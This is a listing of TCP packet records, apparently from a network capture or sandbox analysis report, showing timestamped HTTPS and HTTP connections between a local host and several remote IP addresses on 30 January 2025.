Jan 30, 2025 19:24:17.170866013 CET	49758	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.170933008 CET	443	49758	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.190426111 CET	443	49758	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.190529108 CET	49758	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.191725969 CET	49758	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.191782951 CET	443	49758	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.195323944 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.195363045 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.195451975 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.196657896 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.196666956 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.302927017 CET	49757	443	192.168.2.4	142.250.185.100
Jan 30, 2025 19:24:17.686171055 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.686522007 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.686537027 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.687222004 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.687587023 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.687762022 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.687875032 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.776370049 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.823484898 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.823549986 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.823586941 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.823652983 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.823668957 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.823683977 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.823698997 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.824090004 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.824129105 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.824188948 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.824198008 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.824234962 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.824253082 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.824259996 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.824512959 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.828044891 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.873071909 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.873085022 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.916481018 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.916532993 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.916552067 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.916568041 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.916620016 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.916649103 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.916665077 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.916744947 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.916771889 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.916786909 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.916831017 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.916836023 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.917155027 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.917198896 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.917200089 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.917243958 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.917315006 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.917376995 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.917386055 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.917503119 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.917889118 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.917983055 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.918028116 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.918070078 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.918087006 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.918095112 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.918107986 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.918139935 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.918536901 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.918544054 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.960115910 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.960150957 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.960283041 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:17.960302114 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:17.960509062 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.008826971 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.008986950 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.009076118 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.035335064 CET	49759	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.035355091 CET	443	49759	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.242086887 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.242127895 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.242187977 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.242531061 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.242551088 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.264499903 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.264532089 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.264635086 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.264801025 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.264813900 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.707442045 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.707779884 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.707811117 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.709254980 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.709328890 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.709758043 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.709846020 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.709903002 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.755335093 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.755656004 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.755666971 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.768409967 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.768604040 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.768615007 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.769481897 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.769541025 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.769809008 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.769865036 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.769932985 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.801069021 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.815325022 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.817040920 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.817049026 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.830457926 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.830600023 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.830651999 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.830662012 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.831213951 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.831264973 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.831273079 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.831285000 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.831350088 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.831351042 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.831372023 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.831424952 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.831722975 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.834994078 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.835030079 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.835078001 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.835087061 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.835124969 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.866643906 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.866699934 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.866799116 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.867006063 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.867026091 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.868515015 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.898896933 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.898933887 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.898972988 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.898983002 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.899023056 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.899059057 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.899060965 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.899070024 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.899100065 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.899111032 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.899539948 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.899568081 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.899605989 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.899616003 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.899683952 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.903552055 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.903618097 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.903665066 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.903673887 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.918811083 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.918910027 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.918997049 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.919048071 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.919058084 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.919096947 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.919132948 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.919189930 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.919266939 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.919275045 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.919644117 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.919742107 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.919754028 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.919790030 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.919874907 CET	49760	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.919891119 CET	443	49760	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.924323082 CET	49764	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.924362898 CET	443	49764	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.924495935 CET	49764	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.924685955 CET	49764	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:18.924698114 CET	443	49764	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:18.947510958 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.993375063 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993432999 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993458033 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993489027 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993500948 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.993515015 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993531942 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.993549109 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993582010 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993582010 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.993592978 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993622065 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.993628025 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993669033 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993688107 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993720055 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993720055 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.993731976 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993766069 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.993778944 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993829012 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993850946 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.993856907 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993886948 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.993886948 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993904114 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993949890 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993951082 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.993958950 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.993994951 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.994021893 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.994024038 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.994040012 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.994062901 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.994138956 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:18.994179964 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.994712114 CET	49761	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:18.994724989 CET	443	49761	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:19.157423019 CET	80	49747	162.241.114.35	192.168.2.4
Jan 30, 2025 19:24:19.157536030 CET	49747	80	192.168.2.4	162.241.114.35
Jan 30, 2025 19:24:19.333817959 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.334090948 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.334152937 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.334837914 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.335210085 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.335304976 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.335391998 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.383331060 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.403563976 CET	443	49764	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.404144049 CET	49764	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.404206038 CET	443	49764	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.405539036 CET	443	49764	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.405934095 CET	49764	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.406084061 CET	49764	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.406099081 CET	443	49764	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.406162024 CET	443	49764	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.446660995 CET	49764	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.481560946 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.481606960 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.481652975 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.481679916 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.481720924 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.481759071 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.481777906 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.481782913 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.481800079 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.481846094 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.481868029 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.486387014 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.486421108 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.486443043 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.486459017 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.486645937 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.486659050 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.540380001 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.547235966 CET	443	49764	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.547450066 CET	443	49764	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.547518969 CET	49764	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.547955990 CET	49764	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.547986031 CET	443	49764	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.551924944 CET	49747	80	192.168.2.4	162.241.114.35
Jan 30, 2025 19:24:19.552206993 CET	49765	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:19.552299023 CET	443	49765	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:19.552385092 CET	49765	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:19.552607059 CET	49765	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:19.552644014 CET	443	49765	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:19.556828022 CET	80	49747	162.241.114.35	192.168.2.4
Jan 30, 2025 19:24:19.570082903 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.570318937 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.570348024 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.570379019 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.570398092 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.570444107 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.570693016 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.571029902 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.571072102 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.571084976 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.571098089 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.571134090 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.571181059 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.571193933 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.571244001 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.571861029 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.571916103 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.571983099 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.571995020 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.572040081 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.572068930 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.572083950 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.572096109 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.572144032 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.572869062 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.572963953 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.573035955 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.573071957 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.573091030 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.573105097 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.573132992 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.573882103 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.573951960 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.573965073 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.619242907 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.619267941 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.665630102 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.670962095 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671056986 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671123981 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.671155930 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671200991 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671214104 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671278000 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.671287060 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671298981 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671346903 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.671411037 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671418905 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671468973 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.671483040 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671502113 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671534061 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.671545982 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671572924 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671572924 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.671626091 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.671637058 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671667099 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671717882 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.671730042 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671782017 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671839952 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.671853065 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.671905041 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.672363997 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.672425985 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.672460079 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.672513962 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.672524929 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.672564983 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.672584057 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.672594070 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.672621012 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.672640085 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.672643900 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.672655106 CET	443	49763	104.18.94.41	192.168.2.4
